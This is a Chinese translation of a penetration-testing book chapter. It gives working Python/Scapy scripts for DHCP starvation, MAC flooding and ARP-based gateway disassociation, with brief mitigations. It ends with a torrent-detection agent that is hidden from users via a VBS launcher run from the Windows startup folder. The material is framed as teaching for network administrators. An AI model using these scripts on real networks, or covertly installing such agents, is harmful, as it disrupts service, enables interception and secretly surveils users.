Python 网络攻击与防范详解

在前几章中,您学习了网络扫描和网络嗅探。在本章中,您将看到不同类型的网络攻击以及如何防止它们。本章将对网络管理员和网络管理员有所帮助。

在本章中,我们将介绍以下主题。

到目前为止,您已经看到了 ARP 欺骗的实现。现在,让我们了解一种称为网络解除关联攻击的攻击。其概念与 ARP 缓存中毒相同。

您需要在系统上安装 Python2.7.x。最后,要使用本书的 Git 存储库,用户需要安装 Git。

本章代码文件可在 GitHub 上找到: https://github.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/tree/master/Chapter04

查看以下视频以查看代码的运行: https://goo.gl/oWt8A3

在我们开始攻击之前,让我们先看看 DHCP 服务器是如何工作的。当您通过交换机(接入点)连接到网络时,您的机器会自动获取网络的 IP 地址。您可能想知道您的机器从哪里获得 IP。这些配置来自为网络配置的 DHCP 服务器。DHCP 服务器提供四个内容:IP 地址、子网掩码、网关地址和 DNS 服务器地址。但如果仔细分析,DHCP 服务器也会为您提供分配 IP 地址的租约。在 Windows 命令提示符中键入ipconfig/all命令。在以下屏幕截图中突出显示已获得租约和租约到期:

您可以在矩形中看到 DHCP 租约。在这次攻击中,我们将向 DHCP 服务器发送一个假请求。DHCP 服务器将带有Lease的 IP 分配给假请求。这样,我们将完成 DHCP 服务器的 IP 池,直到租约到期。为了执行攻击,我们需要两台机器:一台攻击者机器(必须是安装了 Scapy 和 Python 的 Linux)和一台配置了 DHCP 的 Linux 机器。两者必须连接起来。您可以使用 Kali 作为攻击,使用 CentOS 作为 DHCP 服务器。您可以从配置 DHCP 服务器 http://l4wisdom.com/linux-with-networking/dhcp-server.php

在学习代码和攻击之前,您必须了解 DHCP 服务器的工作原理:

.

从上图中,我们可以理解以下内容:

  1. 客户端广播请求 DHCP 配置信息的DHCP 发现请求
  2. DHCP 服务器响应一条DHCP 提供消息,该消息包含一个 IP 地址和配置信息,用于租赁给客户端
  3. 客户通过选择提供的地址来接受提供。作为响应,客户端广播DHCP 请求消息
  4. DHCP 服务器向客户端发送单播 DHCP ACK/应答消息,其中包含以下 IP 配置和信息:
    • IP 地址:192.168.0.120
    • 子网掩码:255.255.255.0
    • 默认网关:192.168.0.1
    • DNS 服务器:192.168.0.2
    • 租约:一天

有关更多说明,请参见以下 Wireshark 屏幕截图,如下所示:

在前面的屏幕截图中,租约显示为六小时。

让我们看看代码;这有点难理解,所以我把它分成了不同的部分,并解释了每个部分:

  • 按如下方式导入基本库和模块:
      from scapy.all import *
      import time
      import socket
      import struct
  • 创建原始套接字以接收 IP 数据包,如下所示:
      s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 
      socket.ntohs(0x0800))
      i = 1
  • 使用 while 循环连续发送数据包:
      while True:
  • 使用 Scapy 创建以太网和 IP 数据包,如下所示:
    eth1 = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
    ip1 = IP(src="0.0.0.0",dst="255.255.255.255")
  • 使用 Scapy 创建 UDP 和 bootp 数据包,如下所示:
    udp1= UDP(sport=68,dport=67)
    bootp1= BOOTP(chaddr=RandString(12,'0123456789abcdef'))
  • 创建 DHCP 发现和 DHCP 请求数据包,如下所示:
    dhcp1 = DHCP(options=[("message-type","discover"),"end"])
    dhcp2 = DHCP(options=[("message-type","request")])
    dhcp_discover = eth1/ip1/udp1/bootp1/dhcp1
    dhcp_discover[BOOTP].xid= 123456
  • 只需使用 Scapy 发送 DHCP discover 数据包,并使用原始套接字接收响应,如下所示:
    sendp(dhcp_discover)
    pkt = s.recvfrom(2048)
    num = pkt[0][14].encode('hex')
    ip_length = (int(num) % 10) * 4
    ip_last_range = 14 + ip_length
    ipheader = pkt[0][14:ip_last_range]
    ip_hdr = struct.unpack("!12s4s4s",ipheader)
    server_ip = socket.inet_ntoa(ip_hdr[1])
    obtained_ip = socket.inet_ntoa(ip_hdr[2])
  • 使用从前面步骤获得的参数形成 DHCP 请求数据包,如下所示:
    print "Obtained IP ",obtained_ip
    print "DHCP server IP ",server_ip
    dhcp_request = eth1/ip1/udp1/bootp1/dhcp2
    dhcp_request[BOOTP].xid= 123456
    name='master'+str(i)

    i =i+1
    dhcp_request[DHCP].options.append(("requested_addr", obtained_ip))
    dhcp_request[DHCP].options.append(("server_id", server_ip))
    dhcp_request[DHCP].options.append(("hostname", name))
    dhcp_request[DHCP].options.append(("param_req_list",
    b'x01x1cx02x03x0fx06x77x0cx2cx2fx1ax79x2a'))
    dhcp_request[DHCP].options.append(("end"))
  • 发送请求包,并在0.5秒休息后发送下一个包,如下所示:
    time.sleep(.5)
    sendp(dhcp_request)

代码名为dhcp_starvation.py,代码工作分为两部分。首先,攻击者机器发送发现数据包,然后 DHCP 服务器发送具有给定 IP 的 DHCP 提供数据包。在下一部分中,我们的代码提取给定的 IP 和服务器 IP,用给定的 IP 和服务器 IP 创建称为 DHCP 请求的新数据包,并将它们发送到 DHCP 服务器。在运行程序之前,请检查 DHCP 服务器中的 DHCP 租约文件,该文件位于\var\lib\dhcpd\dhcpd.lease

您可以看到该文件为空,这意味着没有分配 IP。运行程序后,应填写文件,如以下屏幕截图所示:

前面的屏幕截图显示获得的 IP 表示 DHCP 的步骤 2 正在工作并已完成。程序成功发送了假 DHCP 请求。请参阅 DHCP 服务器租赁文件的屏幕截图:

前面的屏幕截图表明程序正在成功运行

MAC 泛洪需要用大量请求泛洪交换机。内容寻址内存CAM将交换机与集线器分离。它存储信息,例如带有物理端口号的连接设备的 MAC 地址。CAM 表中的每个 MAC 都分配了一个交换机端口号。有了这些信息,交换机知道在哪里发送以太网帧。凸轮工作台的尺寸是固定的。您可能想知道当 CAM 表收到大量请求时会发生什么。在这种情况下,交换机会变成一个集线器,所有端口上的传入帧都会被淹没,从而使攻击者能够访问网络通信。

交换机通过其物理端口学习所连接设备的 MAC 地址,并将该条目写入 CAM 表,如下图所示:

CAM 表格学习活动

上图分为两部分。在第一部分中,具有MAC A的计算机向具有MAC B的计算机发送ARP数据包。交换机学习数据包,从物理端口1到达,并在CAM 表中做一个条目,使得 MAC A 与端口1关联。交换机将数据包发送到所有连接的设备,因为它没有 MAC B 的 CAM 条目。在图的第二部分,具有 MAC B 的计算机响应。交换机得知它来自端口2。因此,交换机做出一个条目,说明 MAC B 计算机连接到端口2

当我们发送大量请求时,如上图所示,如果主机 a 使用不同的 MAC 发送虚假的 ARP 请求,那么交换机每次都会为端口1创建一个新条目,例如A—1X—1Y—1。有了这些假条目,CAM 表将变满,开关将开始像集线器一样工作。

现在,让我们按如下方式编写代码:

from scapy.all import *
num = int(raw_input("Enter the number of packets "))
interface = raw_input("Enter the Interface ")

eth_pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")

arp_pkt=ARP(pdst='192.168.1.255',hwdst="ff:ff:ff:ff:ff:ff")

try:
  sendp(eth_pkt/arp_pkt,iface=interface,count =num, inter= .001)

except : 
  print "Destination Unreachable "

前面的代码很容易理解。首先,它询问您要发送的数据包的数量。然后,对于接口,您可以选择WLAN接口或eth接口。eth_pkt语句形成一个带有随机 MAC 地址的以太网数据包。在arp_pkt语句中,使用目的 IP 和目的 MAC 地址形成arp请求包。如果您想查看完整的数据包字段,可以使用 Scapy 中的arp_pkt.show()命令。

mac_flood.py的 Wireshark 输出如下图所示:

MAC 洪泛攻击的输出

MAC 洪泛的目的是检查交换机的安全性。如果攻击成功,请在报告中标记为成功。为了减轻 MAC 洪泛攻击,请使用端口安全。端口安全性仅将传入流量限制为一组选定的 MAC 地址或数量有限的 MAC 地址和 MAC 洪泛攻击

在此攻击中,受害者将保持与网关的连接,但无法与外部网络通信。简言之,受害者将保持与路由器的连接,但无法浏览互联网。这种攻击的原理与 ARP 缓存中毒相同。攻击将向受害者发送 ARP 回复数据包,该数据包将使用另一个 MAC 更改受害者 ARP 缓存中网关的 MAC 地址。同样的事情也发生在网关中。

该代码与 ARP 欺骗的代码相同,只是有一些变化,解释如下:

import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

sor = 'x48x41x43x4bx45x52'

victmac ='x00x0Cx29x2Ex84x7A'
gatemac = 'x00x50x56xC0x00x08'
code ='x08x06'
eth1 = victmac+sor+code #for victim
eth2 = gatemac+sor+code # for gateway

htype = 'x00x01'
protype = 'x08x00'
hsize = 'x06'
psize = 'x04'
opcode = 'x00x02'

gate_ip = '192.168.0.1'
victim_ip = '192.168.0.11' 
gip = socket.inet_aton ( gate_ip )
vip = socket.inet_aton ( victim_ip )

arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip

while 1:
  s.send(arp_victim)
  s.send(arp_gateway)

运行netdiss.py。我们可以看到代码中只有一个变化:sor = 'x48x41x43x4bx45x52'。这是一个随机 MAC,因为此 MAC 不存在

为了实施 ARP 缓存中毒攻击,受害者应该在 ARP 缓存中拥有网关的真实条目。

你可能想知道我们为什么使用'x48x41x43x4bx45x52'MAC。把它转换成 ASCII,你就会得到答案。

网络管理员的主要问题是停止在用户机器上使用 torrents。有时,一个小型组织或初创公司没有足够的资金购买防火墙来阻止 torrent 的使用。在组织中,用户使用 torrent 下载电影、歌曲等,这会占用大量带宽。在本节中,我们将看到如何使用 Python 程序消除此问题。我们的程序将在 torrent 程序运行时检测 torrent

该概念基于客户机-服务器体系结构。服务器代码将在管理计算机上运行,客户端代码将在用户的计算机上以隐藏模式运行。当用户使用 torrent 时,客户端代码将通知服务器计算机

首先,查看下面的服务器代码并尝试理解代码。代码名为torrent_detection_server.py

  • 按如下方式导入基本库:
      import socket
      import logging
      import sys
  • 为管理员打印消息。仅使用Ctrl+C停止程序,因为Ctrl+C由程序本身处理,插座将自动关闭,如下所示:
      print "Welcome, torrent dection program started"
      print "Use only Ctrl+c to stop"
  • 创建将事件记录在文件中的记录器,如下所示:
      logger = logging.getLogger("torrent_logger")
      logger.setLevel(logging.INFO)
      fh = logging.FileHandler("torrent_dection.log")
      formatter = logging.Formatter('%(asctime)s - %(name)s - %      
      (levelname)s - %(message)s')
      fh.setFormatter(formatter)
      logger.addHandler(fh)
      logger.info("Torrent detection program started")
  • 创建检测到的客户端列表,并定义服务器将在其上运行的服务器 IP 地址和端口,如下所示:
      prcess_client = []
      host = "192.168.0.128"
      port = 54321
  • 按如下方式创建 UDP 套接字:
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      s.bind((host,port))
  • 创建一个 while 循环以持续收听。以下代码块接收来自客户端的消息,并将事件记录在日志文件中,如下所示:
      while True:
        try:

          data, addr = s.recvfrom(1024)
          print "\a\a\a\a\a\a\a"
          if addr[0] not in prcess_client :
            print data, addr[0]
            line = str(data)+" *** "+addr[0]
            logger.info(line)
            line = "\n****************************\n"
            logger.info(line)
          prcess_client.append(addr[0])
        except KeyboardInterrupt:
          s.close()
          sys.exit()

        except:
          pass

现在让我们看看客户机的代码。打开service.py代码:

  • 导入基本库和模块,如下所示:
      import os
      import re
      import time
      import socket
      import getpass
  • 定义服务器 IP 和服务器端口以使套接字如下所示:
      host = "192.168.0.128"
      port = 54321
  • 使用无限 while 循环,使程序保持活动状态,如下所示:
      while True:
        try:
          s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
          name =socket.gethostname()
          user = getpass.getuser()
  • 查看当前任务列表,并尝试在任务列表中查找 torrent。如果找到 torrent,请按如下方式将精心编制的消息发送到服务器:
    response = os.popen('tasklist')
    for line in response.readlines():
      str1 = "Torrent Identified on host "+str(name)+" User "+str(user)
      if re.search("torrent", line.lower()):
        s.sendto(str1,(host,port))
        s.sendto(str1,(host,port))
        s.sendto(str1,(host,port))
        #s.send("")
        break

          s.close()
          time.sleep(30)
        except :
          pass

在前面的程序中,我使用30秒进行下一次迭代以获得快速结果。你可以根据自己的方便改变时间。如果流量非常大,您可以使用 15 分钟(15*60)。

为了运行和测试我们的程序,我们至少需要两台计算机。一个程序将在服务器上运行,由网络管理员处理。第二个程序将在客户机上运行

让我们一个接一个地运行代码,并研究我们的测试用例:torrent 运行时和 torrent 未运行时。首先,运行服务器程序。您可以在任何操作系统上运行服务器程序:

服务器程序正在运行;让我们运行客户端代码service.py,如下面的屏幕截图所示:

前面的程序只显示正在运行并持续扫描当前任务。正如我们在程序中定义的 30 秒,它在 30 秒后扫描当前任务。请参阅以下屏幕截图,这是在 Windows 任务管理器中运行的 torrent 服务:

因此,uTorrent 正在客户端计算机上运行。如果客户端代码找到包含 torrent 名称的任务,则会将消息发送到服务器。因此,在客户端程序中,我们使用的是response = os.popen('tasklist')行,它在命令提示符下运行 tasklist 命令,如下面的屏幕截图所示:

前面的屏幕截图显示 torrent 正在运行。

如果在客户端计算机上运行 torrent,则服务器将收到以下消息:

明白了!一台机器,主机名Intel、用户Mohit和 IP 地址192.168.0.129正在使用 torrent。客户端向我们发送了三条消息,但我们只显示了一条。我们正在使用 UPD,这是一种无连接协议。如果数据包在通信量中丢失,服务器和客户端将一无所知。这就是客户端发送三个数据包的原因。

为什么是 UDP 而不是 TCP?TCP 是一种面向连接的协议。如果服务器机器停机,则客户端机器上的程序将开始给出错误。

如果屏幕上的输出丢失,可以在日志文件中检查输出。打开torrent_dection.log

现在您应该更好地了解 torrent 检测。但是我们的工作还没有完成。如果客户机上的用户知道某种检测程序正在运行,他们可能会停止该程序。我们必须让客户端代码以隐藏模式运行

首先,我们必须将service.py程序更改为 Windows 可执行文件。为了将 Python 程序转换为 Windows 可执行文件,我们将使用 Pyinstaller

让我们将该文件更改为 Windows 可执行文件。复制C:\PyInstaller-2.1文件夹中的service.py代码文件。

打开命令提示符,浏览到C:\PyInstaller-2.1文件夹,运行以下操作:

Python pyinstaller.py --onefile <file.py>

有关更多说明,请参见以下屏幕截图:

前面的屏幕截图是不言自明的。现在已经创建了可执行文件,可以通过单击它来运行它。单击时,它将打开命令提示屏幕。

现在以隐藏模式运行可执行程序

创建一个service.vbs文件,并在文件中写入以下行:


Dim WinScriptHost
Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "%WINDIR%\service.exe" & Chr(34), 0
Set WinScriptHost = Nothing

在前面的文件中,我使用了%WINDIR%,意思是Windows文件夹;由于我在C:驱动器中安装了 Windows,%WINDIR%变成了C:\Windows。只需点击service.vbsservice.exe程序将作为守护进程运行,没有图形屏幕,只有后台处理。将service.vbs放入Windows startup文件夹,以便下次 Windows 启动时,service.vbs文件将自动执行。

我希望你喜欢这一章。

在本章中,我们学习了网络攻击;使用我们的 Python 代码可以有效地执行 DHCP 饥饿攻击。Python 代码可用于非法 DHCP 服务器。MAC 洪泛攻击可以将交换机变成集线器。必须启用端口安全性以减轻攻击。网关解除关联攻击非常容易执行;攻击者可以使用此攻击骚扰用户。ARP 缓存中网关的静态条目可能是攻击的解决方案。虽然 Torrent 是被禁止的,但对于小型组织来说仍然是一个大问题。本章中提出的解决方案可以非常有效地抵御洪流。在下一章中,您将了解无线流量监控。您将学习无线帧、帧捕获和无线攻击

教程来源于Github,感谢apachecn大佬的无私奉献,致敬!

技术教程推荐

Go语言核心36讲 -〔郝林〕

Go语言从入门到实战 -〔蔡超〕

深入浅出云计算 -〔何恺铎〕

Go 并发编程实战课 -〔晁岳攀(鸟窝)〕

分布式金融架构课 -〔任杰〕

MySQL 必知必会 -〔朱晓峰〕

快手 · 音视频技术入门课 -〔刘歧〕

Python实战 · 从0到1搭建直播视频平台 -〔Barry〕

云原生基础架构实战课 -〔潘野〕